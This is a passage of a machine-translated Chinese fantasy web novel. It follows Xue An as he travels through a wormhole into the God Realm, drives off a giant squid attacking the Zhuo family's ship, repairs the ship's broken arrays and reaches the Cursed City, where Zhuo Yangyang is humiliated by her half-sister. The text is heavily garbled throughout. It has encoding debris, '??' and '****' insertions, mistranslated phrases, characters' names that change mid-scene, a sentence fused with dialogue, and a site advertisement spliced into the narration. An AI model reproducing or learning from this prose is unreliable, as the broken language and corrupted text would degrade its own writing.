    "Senior, what do you plan to do with the next thing?" Zhuge Yuan asked respectfully.


    Now that the saint Zhaoqi has fallen today, and the strength of the Amaterasu star field has been greatly damaged, this matter must be resolved.


    If according to the previous plan, Zhuge Yuan would definitely take over this Amaterasu star field without hesitation, but now that Xue An is here, he will naturally ask Xue An��s opinion.


    Xue An smiled slightly, "Amaterasu Star Territory has done countless wrong things under Huo Geng''s leadership over the past century. Now that the dust returns to the dust, it is time for liquidation! As for other things, I don''t bother to take care of it!"


    Zhuge Yuan nodded, "Understood!"


    But Xue An''s remarks caused an uproar in the court.


    Those Amaterasu chess masters with ghosts in their hearts pale, and many chess masters who are not bad in nature or who have done nothing wrong take a breath.


    Anyway, as long as there is a clear statement.


    While Dai Yuexun, who was originally full of extravagant hopes to use this opportunity to preserve the glory of the family, looked pale, because she understood that Xue An''s simple sentence would defeat all her wishful thinking.


    At the same time, Xue An left surrounded by the Zhuge family.


    From beginning to end, Xue An never looked at Dai Yuexun, Gu E and others with his straight eyes.


    as if they were air.


    While Dai Yuexun looked at Xue An��s away back, his body trembled slightly, and his finger joints became pale due to excessive force.


    It''s ridiculous that I thought these calculations could do anything, but I didn''t expect all the painstaking work, but it was not comparable to a casual word.


    It turns out that in front of absolute power, all rhetoric and conspiracy are useless! Dai Yueying thought miserably in her heart.


    As for Gu E and Yuan Zhentian, although they are not as long-term as Dai Yuexun thought, they also smelled something wrong.


    Xue An��s final reconciliation made the two of them panicked, and the look in their eyes made them panic.


    So the two found an opportunity and left in despair.


    At this point, things here have come to an end.


    The Zhuge family followed Xue An back to the inn where he lived.


    Wait for one to enter.


    Including all the ancestors of Zhuge''s family, everyone fell to their knees.


    "I have seen an adult!"


    Xue An did not dodge, but accepted their worship very calmly, and then said lightly: "Get up all!"


    Hearing his words, these people dared to stand up.


    Then Zhuge Yuan asked respectfully: "My lord, why did you come here?"


    Xue An said lightly: "Oh, I passed by the nearby star field and happened to meet the Gong brothers and sisters, so I just came to join in the fun!"


    Zhuge Yuan only noticed the Gong brothers and sisters standing not far away, and couldn''t help but nod his head slightly at them.


    "Unexpectedly, the descendants of the Gong family were here!"


    At this moment, Gong Changyue is already in a petrochemical state, because he never expected that this Mr. Xue''s background was so big that Zhuge''s family would hold on to the younger generation.


    What is his identity?


    Gong Changyue was thinking about it in his heart. Gong Xueman pushed him a bit. Only then did Gong Changyue wake up, and then hurriedly said: "Junior Gong Changyue, I have seen Senior Zhuge!"


    The naive look made Zhuge Xuanqing gritted his teeth bitterly, and couldn''t help turning his head to look at it again.


    "Then what''s the matter for you to come here?" Zhuge Yuan asked, "If you need to use our place, just ask!"


    "That''s right! My lord, just do what you tell me! I will wait for it to go through fire and water!" The ancestors of the Zhuge family patted their chests and said.


    Especially the divining ancestor, his eyes were red with excitement.


    You must know that his ancestor Zhuge Zang most admired in his life, but since his ancestor Zhuge Zang disappeared from the heavens three hundred years ago, there has been no news.


    I didn''t expect to see the best friend of the ancestor today, and this friend is also a strong man with a stunning cultivation base.


    How can he not get excited.


    Xue An smiled upon hearing the words, "It''s not a big deal, I plan to go here to the God Realm!"


    "God Realm?" Zhuge Yuan couldn''t help but exclaimed.


    The complexion of the rest of the people also became serious.


    "My lord, what are you going to do in God Realm?"


    "Get some debts!" ??Xue An said lightly.


    These words made everyone in Zhuge''s family look at each other, and they all saw the horror in each other''s eyes That is the realm of God!


    Although there are countless practitioners in the heavens, among them, the strong are endless!


    In the ancient times, the heavens were the land of gods.


    Although the gods behind have fallen one after another, it can be seen how powerful the Protoss is.


    Now that the God Realm is extinct from the heavens, it rarely appears in normal times, so many people don''t feel much about this God Race.


    can be regarded as an ancient family with a long heritage. Everyone in the Zhuge family naturally understands how dangerous the God Realm is.


    But they didn''t dare to say much, they just said after a moment of silence.


    "My lord, this Amaterasu star field can indeed lead to the God Realm, but that God Realm is known as the Little Heavens, and the space is extremely vast. Among them, it is even rumored that ancient gods are sleeping. If you go, be careful!"


    Xue An smiled and nodded, "I understand!"


    In the next few days, people from Zhuge''s family arrived one after another, and what had happened in the Amaterasu star field had already spread.


    As Xue An said, dust returns to dust, and there is revenge for revenge and justice for injustice.


    The entire Amaterasu star field became completely chaotic.


    And the Zhuge family also took advantage of this opportunity and successfully entered the Amaterasu star field.


    Wait until all the dust settles.


    The pattern of the Amaterasu star field has been completely renewed. The former three aristocratic families have only left the Dai family to maintain, and the Gu family and Yuan family have disappeared.


    And several new forces all stand out. .


    But the most powerful of them belongs to the Zhuge family.


    And the Tianmuxing Gong family also took advantage of this opportunity to make a comeback and became a wealthy family.

 Chapter 1019： Across the sea of ??death

    "My lord, are you really not taking me with me?" Zhuge Hanzo asked with regret.


    Xue An patted him on the shoulder, and said with a smile: "You should practice the divine mind technique I gave you here! When I come back, I hope to see that you can beat Lao Zhuge!"


    "����." Of course Zhuge Hanzo didn''t dare to respond to this, so he closed his mouth.


    Then Xue An looked at Gong Changyue with a faint smile, pulled him over, and whispered in his ear.


    "Boy, if you really like it, go after it boldly. With your current status, no one dare to stop it! Understand?"


    Gong Changyue was taken aback, then subconsciously looked at Zhuge Xuanqing in the distance.


    It happened that Zhuge Xuanqing also looked at here at this moment. The two sides looked at each other, and then Zhuge Xuanqing''s face turned red, and he quickly looked away.


    Xue An laughed when he saw this, and patted Gong Changyue **** the shoulder.


    "Boy, take it!"


    Then, Xue An boarded the sea star boat and disappeared in the vast sea of ??stars.


    This Amaterasu star field is not too big.


    But this is not too big compared to other large star fields. In fact, even at the speed of crossing the starship, it takes months to cross the entire star field without stopping.


    Xue An flew to the space-time hole in the middle of the star field according to the star map of the Amaterasu star field presented by Zhuge''s family.


    It was not until he boarded the Xingzhou that Xue An let An Yan, Hu Ying and others in the Fubao Xiaolou come out.


    Fox Ying started to complain as soon as she came out.


    "Brother Xue, why did you keep us there for so long? It''s so boring!"


    Although An Yan didn''t say anything, she looked at Xue An with questioning eyes.


    Xue An smiled, "Behind the Star Fields that day were the Amaterasu gods. Although these gods are not ancient gods, their strength is pretty good. If you are outside, it is easy to attract danger!"


    "Cut, I''m not afraid!" Hu Ying was disdainful.


    Xue An knocked her head, "Then you are afraid that I will send you back to Qingqiu?"


    Fox Ying immediately fainted, "Brother Xue, you are my own brother! I listen to you everything, as long as you don''t send me back to Qingqiu!"


    "Why are you so afraid to go home?"


    "Of course I''m afraid. You don''t know how boring it is to be in Qingqiu. It is a fox with your eyes open all day long, and a fox with your eyes closed. I''m so annoying!"


    "Aren''t you also a fox?" Zhang Xiaoyu interjected so hard.


    The voice just fell.


    Huying''s face instantly became cold, and she patted it with a palm.


    Zhang Xiaoyu lay directly on the ground, her tentacles were squeezed by the huge pressure, and she couldn''t help screaming: "I was wrong, grandma, I was wrong, and I would never dare anymore!"


    After being abused daily, this octopus finally calmed down.


    Xue An stood in front of the porthole, looking at the starry sky passing by, not knowing what he was thinking.


    An Yan walked to him and said softly: "Husband...what are you looking at?"


    "It''s nothing, I''m just thinking...what will the **** realm, which is extinct from the heavens, look like now?"


    Speaking of this, a complex light flashed in Xue An''s eyes.


    Space-Time Hollow has a more well-known name called Wormhole.


    This is a naturally formed space-time channel connecting the heavens.


    In fact, if it weren''t for the self-proclaimed realm of the God Realm, with Xue An''s current strength, he would be able to follow the path of the claw and rescue Huo Geng to go to the God Realm.


    There is no way, and now Xue An has to follow the guidance of the star map, step by step from the wormhole into the gods.


    ten days later.


    The unchanging starry sky changed its appearance. The sparse stars began to become dense. The starlight emitted even illuminated the entire porthole. At first glance, the sky curtain seemed to have become a flawless silver mirror, which was dazzlingly beautiful.


    But just under this beautiful scenery, there are turbulent dangers hidden.


    Because the stars are extremely dense, the cross-sea star boat is also affected by the gravitational force of all directions.


    This kind of power may be inconspicuous in the empty starry sky, but when it gets here, it suddenly becomes aggressive.


    Walking among them, the weaker ones will be directly torn apart by this huge force.


    This is certainly not difficult for Xue An, but for the sake of safety, Xue An still let An Yan and Hu Ying enter the Fubao Xiaolou, and then directly control the entire star boat with their divine minds, crossing them in a powerful posture. This sea of ??death is densely covered with reefs.


    at last.


    After traveling through the three-day view, the originally dense starry sky suddenly became empty, but in the center of the star field, a dark sphere was tearing the starry sky with an incomparably powerful gravity.


    This is where the space-time channel is located, but it can be seen that it has been abandoned for a long time.


    Because if it were a normal wormhole, it would never be like this, and it would have been suppressed by the strong.


    At this moment, this terrifying gravitation seems to feel someone coming, the power is as turbulent as the waves, and even the light is bent and elongated.


    For Xue An, these wonders are just waiting.


    Because Xue An has seen those black bodies that traverse more than a dozen star fields at any time, and can even trap the strong immortal kings in them.


    In comparison, this black body is almost like a baby, making people just want to laugh.


    Xue An suddenly stomped his foot, and his spiritual thoughts were like a sea, wrapping the entire sea star boat, and for insurance, Xue An still blessed the star boat with more than a dozen Dharma seals in an instant, and then suddenly accelerated and went straight to the wormhole. Away.


    A wave of great power resembles a bloodthirsty beast, roaring and wanting to tear this small starship to pieces, but when they touch the starship, they are like a wave encountering an indestructible reef, and it breaks instantly. .


    In this way, the sea star boat galloped across this gravitational sea at an eye-popping speed and at a certain moment, it disappeared directly into the void and entered the passage.


    This kind of time-space channel that has been in disrepair for a long time is full of various dangers. It may be that an inconspicuous turbulence of time and space can cause a true fairy to fall.


    But Xue An crossed it like a stroll in a leisurely courtyard, and walked most of the passage in a few breaths.


    But just as he was about to walk out of the passage, a six-pointed star-like seal suddenly appeared in front of him.


    seemed to feel the arrival of the star boat, a double-headed **** appeared on the six-pointed star, and then roared ferociously.


    "This road is nowhere, get out!"


    The sound shook the void, causing the pressure in front of the star ark to suddenly increase, forcing the speed of the star ark to slow down.


    If it were someone else, I would have already panicked.


    Xue An stood with his hand in front of the porthole and smiled coldly, "It looks like there is a ghost in my heart! How else can I be so guarded against death, and even the wormhole must be sealed with a **** seal?"


    While speaking, Xue An continued to urge Xingzhou to fly forward.


    Seeing that this little star boat dared to ignore his warning, he couldn''t help but roared and waved the giant hammer in his hand to smash it down.


    But at this moment, Xue An raised his hand and pointed, and a sword light suddenly appeared in front of Xingzhou.


    This sword light appeared very small in the vast void, but in an instant, it smashed the void with an unstoppable force.


    Click! !


    The movement of the gods stagnated, and then a crack gradually appeared from the middle of his forehead, and finally burst open.


    And Xue An is manipulating the star boat at this moment, directly breaking through layers of seals and entering the realm of God!

 Chapter 1020： Sea of ??Gods Punishment, Giant Squid

    This is an endless black ocean. The turbulent tide is constantly surging, and from time to time there are huge waves of thousands of feet high.


    And the sky is obscured by eternal clouds. The only light between the sky and the earth is the huge thunder light that crosses the entire sky from time to time.


    The rumbling thunder was mixed with the roar of the tide, making this world as terrible as hell.


    But under this extremely harsh environment, there is actually a huge ship slowly passing by above the sea.


    This huge ship has a radius of ten miles, and it looks like a moving island.


    The huge ship is jet-black, and even the deck exudes a cold metallic luster.


    And on the exposed hull, there are dense arrays of engravings.


    Whenever a huge wave hits, these magic circles will appear to be brilliant, protecting the entire hull.


    Even so, compared with the vast and dark sea, this huge ship still looks extremely small.


    this moment.


    Above the bow of this huge ship, the atmosphere is depressing and terrifying.


    The experienced old captain Meng Lei looked extremely solemn, "Miss, you should go back to the cabin!"


    stood in front of the bow, dressed in a long purple dress, with a beautiful face, but looking at the girl who was no more than eighteen or nine years old, she shook her head pale.


    "Uncle Meng, I can''t go! This cargo is too important to the Zhuo family, there can be no mistakes!"


    "But you are too dangerous here!" Meng Lei said anxiously.


    The girl did not respond, she just looked up at the dark clouded sky, and then said in a deep voice: "Uncle Meng, this kind of weather... have you seen it?"


    Meng Lei hesitated for a moment, and finally sighed, "Miss, I can''t lie to you! To be honest, I have traveled on this sea of ??God''s punishment for hundreds of years, but I have never seen such bad weather!"


    The girl''s teeth bit her vermilion lip tightly, her face turned extremely ugly, "Then can our boat pass through this sea of ??divine punishment?"


    Meng Lei shook his head sullenly, "I don''t know! This sea of ??divine punishment that I have been dealing with for half my life has become more and more invisible to me! Although the environment here used to be bad, it is not like it is now. Berserk. And this kind of sight has become more and more frequent in the past few years!"


    The girl was waiting to speak when she saw a beam of thunder blasting across the sea in the far sky.


    Boom!


    After a loud noise.


    There was a roar that shook the sky, and even the entire sea tremors.


    It is as if there is a giant beast roaring in pain and fighting against the sky full of thunder.


    This kind of formation made all the people on this huge ship disgraced.


    As an experienced old captain, Meng Lei was shocked all over his body, and then trembled: "It''s a divine punishment! Another underwater giant is receiving divine punishment!"


    The voice is full of fear.


    don''t blame him for being afraid.


    Because whenever the thunder of God''s Punishment descends, it means that the giant beast under the Sea of ??God''s Punishment is punished. In this case, the giant beast will often be crazy about it.


    And this kind of situation, for the passing ships, it means a disaster.


    So he yelled, "Push forward with all your strength, get out of here!"


    With an order, the whole boat moved.


    The sturdy sailors began to frantically adjust the spiritual sails and urge the ship��s power core to the maximum.


    The huge ship began to speed up gradually, and then quickly sailed away.


    Before the huge ship left this sea area, another thunder light blasted down.


    At the same time, in the ocean, a huge squid came out of dehydration, and then directly met the thunder light.


    Boom!


    After a loud noise, thunder was splashing, and the huge squid roared, waving its tentacles all over the sky, and then fell heavily.


    The splashing waves made the entire giant ship tremble.


    Meng Lei''s face was pale to the extreme, staring at the surface of the water blankly, and said in a daze, "It''s over! It''s over!"


    The girl exclaimed: "Uncle Meng, what''s wrong?"


    Meng Lei seemed to have lost his soul, and said blankly: "We can''t run away!"


    said, he suddenly remembered something, and shouted: "Miss, go back to the cabin, and leave here with the teleporter!"


    The girl was taken aback.


    She didn''t understand why Uncle Meng was so moved.


    And the teleportation charms that can be transmitted in this place of God''s punishment are so precious that even the Zhuo family can''t afford such a cost, so they will never use them unless they have to.


    But in this stunned effort, I saw a huge tentacle with a hundred li suddenly stretched out of the water, and then the knot twisted and fell down towards the huge ship.


    Boom!


    After a bright light flashed, the tentacle was bounced off.


    But at the same time, the magic circle carved on the hull burst one by one.


    There was a roar of a giant beast from below the surface of the sea, and then several huge tentacles protruding out of the water at the same time, smashed towards the giant ship.


    Seeing this scene, on this huge ship, whether it is the sailor or the captain, all faces are panicked and desperate.


    Because compared to this behemoth, this huge ship is just like a toy.


    And the defensive array has just burst completely. As soon as the tentacles come, the entire giant ship will be destroyed.


    Meng Lei gritted his teeth suddenly, then rushed forward, and shielded the girl under his body. At the same time, she showed her debutUncle Meng! "The girl exclaimed.


    "Miss, don''t move, or you will be forever!" Meng Lei said with a serious face.


    can be at this moment.


    The void suddenly twisted, and then suddenly spit out a star boat.


    This spectacle surprised everyone on the huge ship.


    Uncle Meng even let out a cry.


    Then he heard an interesting voice from the star boat.


    "Interesting! There is such a pure monster here?"


    speaking, a little light appeared before Xingzhou.


    This little light seemed so small in this world, but it was as bright as a star diamond.


    Then the light expanded rapidly, and a sword glow was instantly formed, which cut straight down with an unstoppable force.


    After a muffled sound of ����, several tentacles protruding from the water were all cut off.


    The giant beast squid let out a howl of extreme pain, and then a few tentacles went straight to the star boat in the sky.


    But at this moment, a faint figure of a young man appeared before Xingzhou.


    When this figure appeared between the heavens and the earth, the behemoth squid, as if seeing something terrifying, instantly retracted its tentacles, then dived directly into the sea, fleeing hastily.


    for a moment.


    All the clouds and the fog are scattered.


    Everyone on the giant ship looked at the figure in the void blankly. .


    Then the boy looked down at the giant ship, a faint smile appeared at the corner of his mouth.


    "It''s interesting, is this ship yours?"

 Chapter 1021： Zhuo Familys Daughter Ocean Ship

    Dear~ The domain name of this site: "juyit fiction" is a shorthand homophony, easy to remember! The good-looking novel strongly recommends: The whole ship stared at the young man standing in the air.


    Including the captain Meng Lei, he was also in shock and panic at the moment.


    You must know that the giant ocean beast just now is at least a strong demigod!


    was unexpectedly cut off the tentacles by this handsome young man, and fleeing in fright?


    Then what strength does he have?


    Could it be a god-level powerhouse?


    Meng Lei was wondering.


    The girl beside ���� stepped forward and bowed respectfully to salute, "Dear strong man, thank you for your help! This boat belongs to our Zhuo family!"


    The person who came is naturally Xue An.


    After smashing the seal in the space-time passage, he drove the sea star boat to forcefully break through the space barrier, and then he came to this place.


    Unexpectedly, he happened to meet the scene just now, so Xue An drove away the giant ocean beast.


    "Zuojia?"


    The girl nodded, "Yes, I am the daughter of the Zhuo family, Zhuo Yangyang!"


    After all, she took a peek at Xue An and found that Xue An��s face was calm and there was nothing unusual, so she mustered up the courage to ask: "My lord comes to the sea of ??punishment, but are you going to the city of curse?"


    "Cursed City?" Xue An slightly pondered, and then nodded with a smile.


    "Yes!"


    Zhuo Yangyang sighed secretly, and then said very cheerfully: "Our ship is also going to the Cursed City! If adults don''t dislike it, can we go together?"


    After that, Zhuo Yangyang looked at Xue An hopefully.


    She can see all the strength Xue An has shown just now.


    If you can walk with such a strong person, this journey will be much safer.


    Xue An thought for a while, then nodded, "Alright!"


    After that, Xue An waved his hand casually, put the star boat away, and then landed on the deck of the giant ship.


    At this time, the captain Meng Lei had also recovered sober, and when Xue An was down, he hurried forward to see him.


    "I have seen an adult!"


    As for the other sailors, they looked at Xue An in awe and didn''t dare to come over.


    Xue An nodded, and then looked at the giant ship with interest.


    Only by personal contact can you feel the exaggerated heavy industrial machinery style exuded by this huge ship.


    The thick steel siding, the various facilities that are rough but full of strange beauty, and the stacked arrays carved on the hull made Xue An quite curious.


    Seeing Xue An seemed to be interested in this ship, Zhuo Yangyang couldn''t help but proudly said: "My lord, this ship is the largest and most powerful transport ship of our Zhuo family! Only such a ship can be worn. Cross this sea of ??divine punishment!"


    Meng Lei also said with a proud look: "The young lady is right, I don''t dare to say anything else, but if you talk about this ship, it is definitely the best on this route!"


    At this time, Xue An walked to the edge of the deck and looked down at the array that had burst.


    Upon seeing this, Meng Lei said sadly: "Unfortunately, I encountered a giant ocean beast this time, which caused all these circles to be destroyed. When the cursed city comes, this ship will also become a pile of scrap iron. Can''t sail far!"


    For this kind of ocean-going ship, the defensive array is very important. Without these, the ship can only cruise in the coastal waters at best, not far away. For this kind of giant ship, it means scrap.


    Zhuo Yangyang''s expression is also a little dim.


    This time she bet everything, just to keep the cargo on this ship.


    Although it seems that the cargo is all right now, if the ship is scrapped, I don��t know what kind of treatment I will face when I get home!


    At this moment, Xue An shook his head, "Stupid! Waste!"


    Ok?


    Zhuo Yangyang was taken aback, not understanding what Xue An was talking about.


    Then she saw a scene that stunned her.


    Xue An raised his hand, lightly pressed it on the hull, and then gave a soft drink.


    "Start!"


    hum!


    With a slight roar, then I saw a lot of brilliance appeared on the magic circle that had burst open.


    Zhuo Yangyang, Meng Lei and others couldn''t help but their eyes rounded.


    He...Is he in the seal carving circle?


    The thought of ���� made Zhuo Yangyang shock all over her body, her eyes full of shock.


    You must know that engraving a magic circle on a giant ship is extremely expensive, even a wealthy family cannot afford it.


    And once the circle is broken, it is completely abolished.


    I have never heard of anyone who can restore the bursting circle.


    I can see the boy in front of me, who seems to be doing something that no one can believe.


    At this moment.


    I saw that the brilliance stretched out countless subtle rays of light, and then covered the original magic circle, and almost perfectly integrated together.


    The hull of this huge ship made a very small chucking noise.


    Almost in a blink of an eye, these countless brilliances were connected from beginning to end, and then a bright light appeared.


    "Alright!" Xue An raised his hand and said lightly.


    Zhuo Yangyang and Meng Lei looked stunned, and then rushed to the edge of the deck almost at the same time. When they looked down, they couldn''t help being stunned.


    I saw that the originally incomplete hull array had been completely renewed, and it was more than twice as dense as before.


    Those subtle arrays full of strange beauty are all over the hull, giving people a powerful visual impact.


    You can see the power of this circle just by looking at it.


    The two looked at them dumbfounded, they couldn''t believe their eyes.


    You must know that even a rune master, to seal so many such powerful magic circles, it takes extremely complicated preparations and a long time.


    is in the hands of this young man, but he feels as relaxed as a cup of tea.


    "My lord, this circle..."


    If Zhuo Yangyang��s attitude towards Xue An was simply a respect for a strong man, then the heat in Zhuo Yangyang��s eyes is almost overflowing.


    She knew better than anyone what it meant to be a young man who could engrave the magic circle between her fingers.


    Xue An smiled, "Is there anything to eat? I''m a little hungry!"


    "Yes!" Zhuo Yangyang nodded hurriedly, and then personally led Xue An to the cabin.


    At this time, the captain Meng Lei also awoke from the shock, and immediately shouted: "Quick! Go and take out the bottle of wine I treasured in the cabin, as well as the freshest fish caught today! "


    The restaurant is very spacious and almost luxurious. Sitting in it can hardly feel sailing above the sea.


    All kinds of delicacies and delicacies filled the entire table, Zhuo Yangyang personally accompanied.


    "My lord, I don''t know your name yet!" Zhuo Yangyang asked softly.


    Xue An eats a piece of fresh and tender fish, and said lightly: "My name is Xue An!"

 Chapter 1022： The **** pattern is here, the cursed city

    Xue An?


    Zhuo Yang Yang was taken aback.


    Haven''t heard of any rune master��s descendant or rune family whose surname is Xue?


    Could it be some ancient inheritance that is hidden from the world?


    At this point, Zhuo Yangyang''s expression couldn''t help being respectful again.


    "My lord, did you go to the cursed city also because of the imminent **** pattern?"


    "God pattern?" Xue An raised his eyes and glanced at Zhuo Yangyang, "What kind of pattern?"


    "Huh? Don''t you know?" Zhuo Yangyang was a little surprised.


    "What do you know?" Xue An took a sip of wine, then wiped his mouth with a white napkin, and said lightly.


    "Recently, an incident has spread wildly throughout the universe, saying that this cursed city and the sea of ??divine punishment had ancient gods fallen thousands of years ago, and after thousands of years, there will be some ancient gods and blood in the near future. The **** pattern reappears in the world, because of this incident, the powerhouses from all over the heaven have already rushed to the cursed city."


    "The place where the ancient gods fell?" Xue An was startled slightly when he heard the words, then turned to look at the endless black ocean outside the window, a faint light flashed in his eyes, and then smiled indifferently.


    "I really don''t know this, but since we have caught up, let''s join in the fun!"


    Because this huge ship is very large, the living conditions are very good.


    In order to entertain Xue An, the captain Meng Lei even vacated the cabin he lived in, and personally sent Xue An into the cabin before retreating.


    When he walked outside, Zhuo Yangyang was standing on the deck waiting for him.


    "Are everything arranged?" Zhuo Yang Yang asked.


    Meng Lei nodded, "Don''t worry, miss, I have already arranged everything, and Master Xue has already rested!"


    Zhuo Yangyang nodded, then turned and looked at the dark route ahead, silently.


    Meng Lei wanted to say something, but finally sighed, "Miss, what are you looking at?"


    Zhuo Yangyang shook her head, her eyes appeared confused, "It''s nothing, but I feel that my destiny is the same as the sea shrouded in darkness, ups and downs, there is no fixed number!"


    Meng Lei was silent, until after a while, he whispered: "Miss, this time the trader has made great profits under your leadership. Isn''t that enough?"


    Zhuo Yangyang shook his head, "I don''t know, I''m still afraid...!"


    Speaking of this, Zhuo Yangyang''s eyes flashed with fear.


    Meng Lei showed anger on his face, and said in a low voice, "These people have done too much. Although you are not a direct line of the Zhuo family, you are not going to push you like this!"


    Zhuo Yangyang smiled miserably, "But sometimes... pedigree and status represent everything! No matter how hard I try, in their eyes, I am just a **** that can be sacrificed at any time in exchange for profit!"


    What Meng Lei wanted to say, but finally turned into a long sigh, because he knew that Zhuo Yangyang was telling the truth.


    "Then what do you think of Master Xue?" Meng Lei suddenly asked again.


    Zhuo Yangyang shook his head, "I can''t see through! What about you Uncle Meng?"


    "I can''t see through, but I can be sure of one thing!" Meng Lei said solemnly.


    "what?"


    "I have sailed on this sea for hundreds of years, and I have met countless people, among them are the ruthless people, the noble ones, and even the righteous gods! No matter who you face them. , I can deal with it calmly! Only when facing this Master Xue..."


    Speaking of this, a look of fear flashed across Meng Lei��s face, ��I felt a chill in my heart, especially when he looked at me, it was as if my body and soul were dissected directly. Same! This kind of person, if possible, I will hide as far as possible!"


    Zhuo Yangyang listened quietly. This is a good habit she has cultivated in her business for more than ten years, and that is to learn to listen.


    Especially those who have experienced the changes in the world and are extremely experienced in dealing with things, you must listen carefully.


    "Then Uncle Meng means..." Zhuo Yangyang asked softly.


    Meng Lei took a deep breath, "Miss, since the other party is aggressive, then you might as well give it a go, and I think Master Xue is probably the key to solving your current dilemma!"


    Zhuo Yangyang''s expression fluctuated, his eyes were cast to the cabin in the distance.


    Zhuo Yangyang whispered softly: "I know, I will think about it!"


    Meng Lei nodded, and then left silently.


    All around can only hear the sound of the sea being split by the giant ship, Zhuo Yang stood silent for a long time, and the purple dress was like a small blooming flower in the dark, stubbornly opening.


    The next journey was extremely safe.


    Not to mention the demi-god-level behemoths, even the pseudo-god-level sea monsters did not appear half.


    It was as if Xue An''s appearance that day scared away the behemoths in the entire ocean.


    In this calm and calm situation, the giant ship rode the wind and waves, drove the three-day scenery, and finally left the sea of ??God''s punishment that was shrouded by the endless clouds.


    There is still an endless ocean in front of me, but the environment here is obviously much better, and you can see ships passing by from time to time on the route.


    And these ships will take the initiative to evade when passing by this huge ship, and they seem very respectful.


    drove forward in this way for another half day. It seemed that suddenly, a huge city suddenly appeared in front of him This city seemed to be built on an island at first glance.


    After a closer look, you can discover that the city is moving slowly at a speed visible to the naked eye.


    Xue An stood on the bow, watching with interest.


    Zhuo Yangyang slowly walked to his side, and whispered: "My lord, that is the cursed city ahead!"


    "Is this cursed city actually a city built on the sea?" Xue An raised his eyebrows slightly.


    Zhuo Yangyang nodded, and then sighed: "I was shocked for a long time when I first saw this city. Such a huge city is built on the back armor of a long-dead ocean beast. Above, we can see how huge this behemoth should be. This... should be a miracle!"


    Xue An only smiled when he heard the words, and did not speak.


    When the huge ship slowly sailed into the harbor, this prosperous harbor boiled over it.


    Various goods carried on the giant ship began to be carried down in an orderly manner.


    And Zhuo Yangyang led Xue An onto the city.


    "Girl Zhuo!"


    "Miss Yang Yang!"


    The sailors along the way respectfully greeted Zhuo Yangyang, and it was obvious that their respect came from the heart.


    Zhuo Yangyang kept nodding with a smile. .


    "Lady Zhuo''s business has benefited a lot this time, there should be a good reward!" A sailor whispered.


    "Cut, that can''t be said. Miss Zhuo has been in the wind and rain over the years, and has made great contributions to the Zhuo family, but who of you sees Zhuo family feeling sorry for Zhuo girl?" Someone sneered.

 Chapter 1023： I usually dont hit women

    "Yes! Sometimes we all complain for Miss Zhuo!"


    "I care more about who is the man following Miss Zhuo!"


    "I''ve noticed it a long time ago. It looks pretty good, and she is a good match when standing with our girl Zhuo, but I don''t know how strong it is? But judging from her delicate appearance, it is estimated that she can''t beat me!" The strong sailor said solemnly.


    "Okay, I know you like Miss Zhuo, but you still don''t worry about it! Miss Zhuo is blind and won''t look at you!"


    "Yeah! I think these two are very good match! Miss Zhuo has been working hard all these years. It''s not bad to have someone who loves her!"


    Everyone nodded and said yes, but then someone sighed.


    "If it can be done, it would be a good thing! But I am afraid that the Zhuo family disagrees!"


    Everyone was silent for a while.


    "Yes, the Zhuo family obviously won''t let go of such a perfect chess piece like Ms. Zhuo, she has to squeeze all her value out to give up!" Someone sighed.


    "These bad guys, Miss Zhuo is also from the Zhuo family anyway, why are they bullying people so much?" a sailor said angrily.


    "Why, it''s because Miss Zhuo''s mother... is a maid!"


    ''S words left the audience silent, and then many people shook their heads, full of sympathy.


    Although these discussions were very small, Xue An heard them all. Combined with what he had seen and heard on the boat these days, Xue An couldn''t help but show a faint smile.


    This girl, this city, and even this sea are a bit interesting!


    Zhuo Yangyang hurriedly handed over the cargo on the ship, and it was not until more than half an hour passed that the matter was over.


    She nodded at Xue An apologetically. "Mr. Xue, I''m so sorry to keep you waiting! We will enter the city now!"


    Xue An nodded nonchalantly, "Okay!"


    But at this moment, I saw a cart driven by Tengyun beast rushing over.


    The speed is so fast that the pedestrians and sailors on the road avoid it.


    in an instant.


    The car stopped in front of Zhuo Yangyang, and then saw the curtain lifted, revealing a cheek with heavy makeup behind.


    "Yeah, isn''t this the talented girl of our Zhuo family! What? This business is finally over?" the woman pretended to exaggerate.


    Zhuo Yangyang''s face turned pale when she saw this woman, but she still respectfully gave a polite, "I have seen my sister!"


    "Okay! Don''t give me this set. You want to recognize my sister, but I don''t plan to recognize your sister!" The woman curled her lips.


    The people around couldn''t help showing an angry look.


    But Zhuo Yangyang buried her head lower, "Yes, Miss Zhuoya!"


    "It''s almost the same!" Zhuo Ya nodded arrogantly, and then suddenly saw Xue An standing behind Zhuo Yang Yang, she couldn''t help being taken aback.


    "Who is this?"


    Zhuo Yangyang hurriedly said: "Miss Zhuoya, I haven''t had time to introduce you to this adult who I met in the Sea of ??God''s Punishment. If it weren''t for him, I wouldn''t be able to return if I still had a ship! "


    Zhuoya looked at Xue An suspiciously when he heard the words, the more the chill in his eyes became worse, and finally sneered: "Zhuo Yangyang, you mean that in the sea of ??God''s punishment, he saved you?"


    Zhuo Yangyang nodded, "Yes!"


    "Hehe, it''s really ridiculous, what is the sea of ??punishment? If there is danger there, can such a poor boy be able to solve it? It is ridiculous, Zhuo Yangyang, I think he is your little lover, right? !"


    This is extremely vicious.


    Zhuo Yangyang''s complexion turned pale in an instant, and she couldn''t stop trembling, but she still said calmly, "Miss Zhuoya, what I said is indeed true..."


    "Enough! Don''t forget how your mother conceived you in the first place, and how she died! A slave girl is a slave girl, and she won''t be able to change the despicableness carved in her bones for a lifetime!"


    Zhuo Yangyang''s complexion turned pale, and a layer of mist was also covered in his large eyes.


    "What? You feel wronged by what I said?" Zhuo Ya sneered and wanted to say something.


    I saw Meng Lei walking quickly over, and I knew what was going on as soon as I saw the situation in the field.


    "Second Miss, what Ms. Zhuo said just now is the truth. We encountered a powerful demigod sea beast in the sea of ??punishment. If Mr. Xue hadn''t appeared in time, we would really not be able to come back!"


    Although she was very arrogant when facing Zhuo Yangyang, Meng Lei, as the top captain of the Zhuo family, did not dare to be too presumptuous, but she couldn''t help saying: "Captain Meng, you have to be responsible for your words. A demigod-level sea beast...hehe, if it is true, wouldn''t it be that this poor young man must be at least a demigod-level?"


    Zhuoya sneered.


    But at this moment, I heard the shouts of sailors from around.


    "Boss Meng is right! I can testify!"


    "Yes, I can testify too!"


    These voices clamored together, and at the same time, many sailors began to criticize the sanghuai with unkind expressions.


    "You guys..." Zhuo Ya didn''t expect this situation to happen at all.


    Actually, the reason she came to the port today was because she heard that Zhuo Yangyang was back, so she planned to come over and mock her a few times to have fun.


    Unexpectedly, it would offend all the anger This kind of situation can''t happen naturally, but she sprinkled her anger on Zhuo Yangyang, "What a cheap maid, you wait for me! Go back and wait! Make you look good!"


